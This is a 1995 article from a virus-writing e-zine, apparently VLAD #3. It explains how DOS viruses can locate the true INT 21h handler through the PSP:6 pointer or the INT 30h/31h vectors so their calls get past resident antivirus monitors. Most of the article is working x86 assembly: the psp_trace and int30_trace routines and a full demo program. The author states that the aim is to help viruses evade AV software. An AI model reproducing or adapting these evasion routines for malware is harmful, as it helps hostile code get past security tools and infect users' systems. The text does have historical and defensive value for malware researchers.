HPAVC/HPAVC CD-ROM.iso/pc/MAGS.ZIP/VLAD#3.ZIP/ARTICLE.2_4

Text File | 1995-02-04 | 12.3 KB | 377 lines

                 FINDING INT 21's REAL ADDRESS USING THE PSP
                 ───────────────────────────────────────────


                           by Satan's Little Helper


    DESCRIPTION
    ───────────

            The real address of interrupt 21 is useful to almost
        all viruses it enables viruses to bypass resident monitoring
        software loaded as device drivers or TSR's.  This article will
        demonstrate a method by which you can obtain the real address
        of INT 21 by using the entry at offset 6 in the PSP segment.

            PSP:6 contains a double-word pointing (hopefully) to the
        dos dispatch handler (this is different from the INT 21
        handler).  Then *optionally* the dispatch handler has a series
        of jumps (opcode=0EAh) then it will either a) point to the
        dos dispatch handler or b) the double-NOP call construct used
        in some DOS versions which will then point to (a).

            The dos dispatch handler and int 21 handler in memory appear
        like this:

    dos_dispatch_handler:
        0000  1E                   push    ds
        0001  2E: 8E 1E 3DE7       mov     ds,word ptr cs:[3DE7h]
        0006  8F 06 05EC           pop     word ptr ds:[5ECh]
        000A  58                   pop     ax
        000B  58                   pop     ax
        000C  8F 06 0584           pop     word ptr ds:[584h]
        0010  9C                   pushf
        0011  FA                   cli
        0012  50                   push    ax
        0013  FF 36 0584           push    word ptr ds:[584h]
        0017  FF 36 05EC           push    word ptr ds:[5ECh]
        001B  1F                   pop     ds
        001C  80 F9 24             cmp     cl,24h
        001F  77 DC                ja      $-22h
        0021  8A E1                mov     ah,cl
        0023  EB 06                jmp     $+8
    int21_handler:
        0025  FA                   cli
        0026  80 FC 6C             cmp     ah,6Ch
        0029  77 D2                ja      $-2Ch
        002B  80 FC 33             cmp     ah,33h

    therefore:

        int21_handler = dos_dispatch_handler + 25h

            So the end result is we just find 'dos_dispatch_hndlr'
        address then check that the opcodes are right (1E2E/FA80)
        and then add (int21_handler-dos_dispatch_hndlr) to the
        pointer to dos_dispatch_hndlr to get the INT 21 handler
        address.

        Simple! (read it again if you don't get it).

        In the case of (b) occurring we just do the same except
        the offset of the dispatch handler from the int 21
        handler is different:

        0000  90                   nop
        0001  90                   nop
        0002  E8 00E0              call    $+0E3h
        0005  2E: FF 2E 1062       jmp     dword ptr cs:[1062h]
        000A  90                   nop
        000B  90                   nop
        000C  E8 00D6              call    $+0D9h
        000F  2E: FF 2E 1066       jmp     dword ptr cs:[1066h]
    int21_handler:
        0014  90                   nop
        0015  90                   nop
        0016  E8 00CC              call    $+0CFh
        0019  2E: FF 2E 106A       jmp     dword ptr cs:[106Ah]
        001E  90                   nop
        001F  90                   nop
        0020  E8 00C2              call    $+0C5h
        0023  2E: FF 2E 106E       jmp     dword ptr cs:[106Eh]
        0028  90                   nop
        0029  90                   nop
        002A  E8 00B8              call    $+0BBh
        002D  2E: FF 2E 1072       jmp     dword ptr cs:[1072h]
        0032  90                   nop
        0033  90                   nop
        0034  E8 00AE              call    $+0B1h
        0037  2E: FF 2E 1076       jmp     dword ptr cs:[1076h]
        003C  90                   nop
        003D  90                   nop
        003E  E8 00A4              call    $+0A7h
        0041  2E: FF 2E 107A       jmp     dword ptr cs:[107Ah]
    dos_dispatch_handler:
        0046  90                   nop
        0047  90                   nop
        0048  E8 009A              call    $+9Dh
        004B  2E: FF 2E 107E       jmp     dword ptr cs:[107Eh]

    therefore:

        int21_handler = dos_dispatch_handler - 32h


    ADVANTAGES & DISADVANTAGES OF THIS METHOD
    ─────────────────────────────────────────

            This method requires a very small amount of code and
        can be made even more efficient than the code shown below.

            Although untrappable it can be confused into tracing
        into the resident monitor's trapping code.  Much of the
        logic of this method is hard coded so changes in the
        opcodes (from TSR AV utilities) will be able to trick it
        into thinking it has found the correct address (this
        requires use of the double-NOP signatures).

            AV developers appear to be reluctant to modify their
        software for specific viruses so may avoid placing the
        sequence to confuse it into their software.

    CODE
    ────

        This code is not designed to be size efficent it is designed
        to be easy to understand.

        ;name:      psp_trace
        ;in cond:   ds=psp segment
        ;out cond:  ds:bx=int 21 address if carry clear
        ;           ds:bx=nothing if carry set.
        ;purpose:   finds int 21 address using a PSP trace.

        psp_trace:
            lds     bx,ds:[0006h]           ;point to dispatch handler
        trace_next:
            cmp     byte ptr ds:[bx],0EAh   ;is it JMP xxxx:xxxx ?
            jnz     check_dispatch
            lds     bx,ds:[bx+1]            ;point to xxxx:xxxx of the JMP
            cmp     word ptr ds:[bx],9090h  ;check for double-NOP signature
            jnz     trace_next
            sub     bx,32h                  ;32h byte offset from dispatch
                                            ;handler
            cmp     word ptr ds:[bx],9090h  ;int 21 has same sig if it works
            jnz     check_dispatch
        good_search:
            clc
            ret
        check_dispatch:
            cmp     word ptr ds:[bx],2E1Eh  ;check for push ds, cs: override
            jnz     bad_exit
            add     bx,25h                  ;25h byte offset from dispatch
            cmp     word ptr ds:[bx],80FAh  ;check for cli, push ax
            jz      good_search
        bad_exit:
            stc
            ret

    NOTES
    ─────

            INT 30h and INT 31h contain *code* (not an address) to
        jump to the dispatch handler so to trace using INT 30h/31h
        you just set ds:bx to 0:c0 and call the trace_next in the
        psp_trace routine.

        Debug hex dump of INT 30/31 addresses in the IVT:

                  Immediate far JMP
                    ____________
        -d 0:c0    |            |
        0000:00C0  EA 28 00 02 01 FF 00 F0-0F 00 02 01 DF 0D 39 01
                   |_________| |_________|
                      INT 30     INT 31
                       addr       addr

        EA 28 00 02 01 = JMP 0102:0028

        ;name:      int30_trace
        ;out cond:  ds:bx=int 21 address if carry clear
        ;           ds:bx=nothing if carry set.
        ;purpose:   finds int 21 address using an INT 30/31 trace.

        int30_trace:
            xor     bx,bx
            mov     ds,bx
            mov     bl,0c0h                 ;point to 0:0c0
            jmp     short trace_next


    OTHER NOTES
    ───────────

        After writing this I heard that the "MG" virus uses the same
        technique, I have a sample of this virus and it does not use
        the same technique.


    TESTING
    ───────

            So far this has been tested on MSDOS 6.x, Novell Netware,
        and IBM network software all resulting in positive tests.

            Machines running DR DOS, Novell DOS, 4DOS, OS/2 and NT
        could not be found.  It is expected that this will not work
        on *ALL* DOS-type platforms but that is why I implemented
        error codes in the form of the carry flag being set/clear.


    CONCLUSION
    ──────────

            It has been shown that INT 30h/31h is slightly more
        reliable than the PSP:6 address, so if a call to psp_trace
        results in carry set then call int30_trace.  The reason
        you should call PSP trace first is that altering INT 30/31
        is much easier than altering PSP:6 so it makes the AV do
        more work ;)


    CREDITS
    ───────

        TaLoN - helped in working out offsets and told me
                about int 30h/31h pointing to dispatch handler.
        Lookout Man - tester
        Aardvark - network tester

    DEMO PROGRAM
    ────────────


    ;-------8<--------cut here---------8<-------

    comment |

        TASM ASSEMBLY:
            tasm psptest.asm
            tlink /t psptest.obj

        A86 ASSEMBLY:
            a86 psptest.asm
    |

    .model tiny
    .code

    org     100h

start:
    mov     dx,offset psp_status
    call    print_str                       ;print "PSP trace: "
    call    psp_trace                       ;do the trace
    jc      bad_psp
print_status:
    mov     dx,offset ok_str                ;print "Ok!"
    call    print_str
    mov     dx,offset psp_addr              ;print "interrupt trace to: "
    call    print_str
    push    bx
    mov     bx,ds                           ;print segment
    call    bin_to_hex
    call    print_colon                     ;print ":"
    pop     bx
    call    bin_to_hex                      ;print offset
    jmp     do_int30
bad_psp:
    mov     dx,offset bad_str
    call    print_str
do_int30:
    nop
    nop
    mov     word ptr cs:do_int30,20CDh      ;exit next time around
    mov     dx,offset i30_status
    call    print_str                       ;print "PSP trace: "
    call    int30_trace
    jnc     print_status
    jmp     short do_int30

print_str:
    mov     ah,9
    push    ds
    push    cs
    pop     ds
    int     21h
    pop     ds
    ret

psp_addr    db  13,10,'Interrupt traced to: $'
psp_status  db  13,10,'PSP trace      : $'
i30_status  db  13,10,'INT 30/31 trace: $'
ok_str      db  'Ok!$'
bad_str     db  'Failure$'

;name:      psp_trace
;in cond:   ds=psp segment
;out cond:  ds:bx=int 21 address if carry clear
;           ds:bx=nothing if carry set.
;purpose:   finds int 21 address using a PSP trace.

psp_trace:
    lds     bx,ds:[0006h]           ;point to dispatch handler
trace_next:
    cmp     byte ptr ds:[bx],0EAh   ;is it JMP xxxx:xxxx ?
    jnz     check_dispatch
    lds     bx,ds:[bx+1]            ;point to xxxx:xxxx of the JMP
    cmp     word ptr ds:[bx],9090h  ;check for double-NOP signature
    jnz     trace_next
    sub     bx,32h                  ;32h byte offset from dispatch
                                    ;handler
    cmp     word ptr ds:[bx],9090h  ;int 21 has same sig if it works
    jnz     check_dispatch
good_search:
    clc
    ret
check_dispatch:
    cmp     word ptr ds:[bx],2E1Eh  ;check for push ds, cs: override
    jnz     bad_exit
    add     bx,25h                  ;25h byte offset from dispatch
    cmp     word ptr ds:[bx],80FAh  ;check for cli, push ax
    jz      good_search
bad_exit:
    stc
    ret

;name:      int30_trace
;out cond:  ds:bx=int 21 address if carry clear
;           ds:bx=nothing if carry set.
;purpose:   finds int 21 address using an INT 30/31 trace.

int30_trace:
    xor     bx,bx
    mov     ds,bx
    mov     bl,0c0h                 ;point to 0:0c0
    jmp     short trace_next

bin_to_hex:                         ;will print number in BX as hex
    push    cx                      ;code stolen from KRTT demo
    push    dx
    push    ax
    mov     ch,4
rotate:
    mov     cl,4
    rol     bx,cl
    mov     al,bl
    and     al,0Fh
    add     al,30h
    cmp     al,'9'+1
    jl      print_it
    add     al,07h
print_it:
    mov     dl,al
    mov     ah,2
    int     21h
    dec     ch
    jnz     rotate
    pop     ax
    pop     dx
    pop     cx
    ret

print_colon:
    mov     ah,2
    mov     dl,':'
    int     21h
    ret

    end     start

    ;-------8<--------cut here---------8<-------